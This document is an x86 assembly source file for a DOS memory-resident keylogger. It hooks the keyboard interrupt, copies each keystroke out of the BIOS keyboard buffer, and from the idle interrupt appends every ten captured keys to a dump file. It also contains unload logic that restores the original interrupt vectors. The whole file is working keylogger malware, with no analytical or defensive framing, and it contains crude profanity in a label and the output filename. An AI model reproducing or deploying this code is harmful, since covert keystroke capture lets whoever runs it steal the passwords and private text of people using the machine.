.286
.model small
.code
org 100h
start:
	jmp begin
	db	'hello'
begin:
	mov ax,	0cch*4				; CC vector
	mov si, ax				;
	mov ax, 0
	mov es,	ax
	mov ax,	es:[si]				; AX <- intCC
	cmp ax, 0FAC0h				; comapre with out Mask (FAC0)
	je  UNLOAD				; if (allready) then UNLOAD
	mov old0x4Co, ax			; Save old intCC 
	mov ax,	es:[si+2]			; -==-
	mov old0x4Cs, ax			; -==-
	mov word ptr es:[si], 0FAC0h		; Move OUR mask to vec cc
	mov word ptr es:[si+2], cs		; SAVE CS
						; Get Vectors
	mov ax,	3509h
	int 21h
	mov old0x9s,	es
	mov old0x9o,	bx

	mov ax,	3528h
	int 21h
	mov old0x28s,	es
	mov old0x28o,	bx

	mov ax,	2509h
	mov dx,	offset NEW0x9
	int 21h

	mov ax,	2528h
	mov dx,	offset NEW0x28
	int 21h

	mov ah,	31h
	mov dx,	50h
	int 21h

UNLOAD: mov ax, es:[si+2]
	mov es,	ax
	mov ax,	2509h
	mov dx,	es:[offset old0x9o - 100h]
	mov ds,	es:[offset old0x9s - 100h]
	int 21h

	mov ax,	2528h
	mov dx,	es:[offset old0x9o - 100h]
	mov ds,	es:[offset old0x9s - 100h]
	int 21h

	mov ax, es:[offset old0x4Co - 100h]
	mov bx, es:[offset old0x4Cs - 100h]
	mov cx,	0
	mov es, cx
	mov es:[0cch*4], ax
	mov es:[0cch*4+2], bx
	int 20h
NEW0x9:
	pusha
	push es
	mov ax,	40h
	mov es,	ax
	mov ax, es:[1ch]
	mov bx, ax
	pushf
	call dword ptr [old0x9o]
	mov ax, es:[1ch]
	cmp ax,	bx
	je NOTNEWBUTT
	mov si,	ax
	mov bx,	cnt
	cmp si,	1ch
	jne OBLS
	mov dl,  es:[3ch]
	jmp GGG
OBLS:	mov dl,  es:[si-2]
GGG:	mov cs:buf[bx], dl
	inc cnt
NOTNEWBUTT:
        cli
        mov al,  20h
        out 20h, al
        pop es
        popa
        iret

NEW0x28:
	pusha
	push es

	pushf
	call dword ptr [old0x28o]

	cmp cnt, 10
	jne SHIT

	mov cnt, 0
	push ds
	push cs
	pop ds
	mov ax,	3d02h
	mov dx,	offset fname
	int 21h
	jc  create
	jmp cool
create:
	mov ah,	3ch
	mov cx,	0
	mov dx,	offset fname
	int 21h
cool:
	mov bx, ax
	mov ah,	42h
	mov al,	2
	mov cx,	0
	mov dx,	0
	int 21h

	mov ah,	40h
	mov cx,	10
	mov dx,	offset buf
	int 21h

	mov ah,	3eh
	int 21h
	pop ds

SHIT:
        pop es
        popa
        iret

old0x9o 	dw 0
old0x9s		dw 0
old0x28o 	dw 0
old0x28s 	dw 0
OLD0x4Co	dw 0
OLD0x4Cs	dw 0

cnt	dw 0
buf 	db 10 dup (?)
fname db 'fuck.dmp',0
end start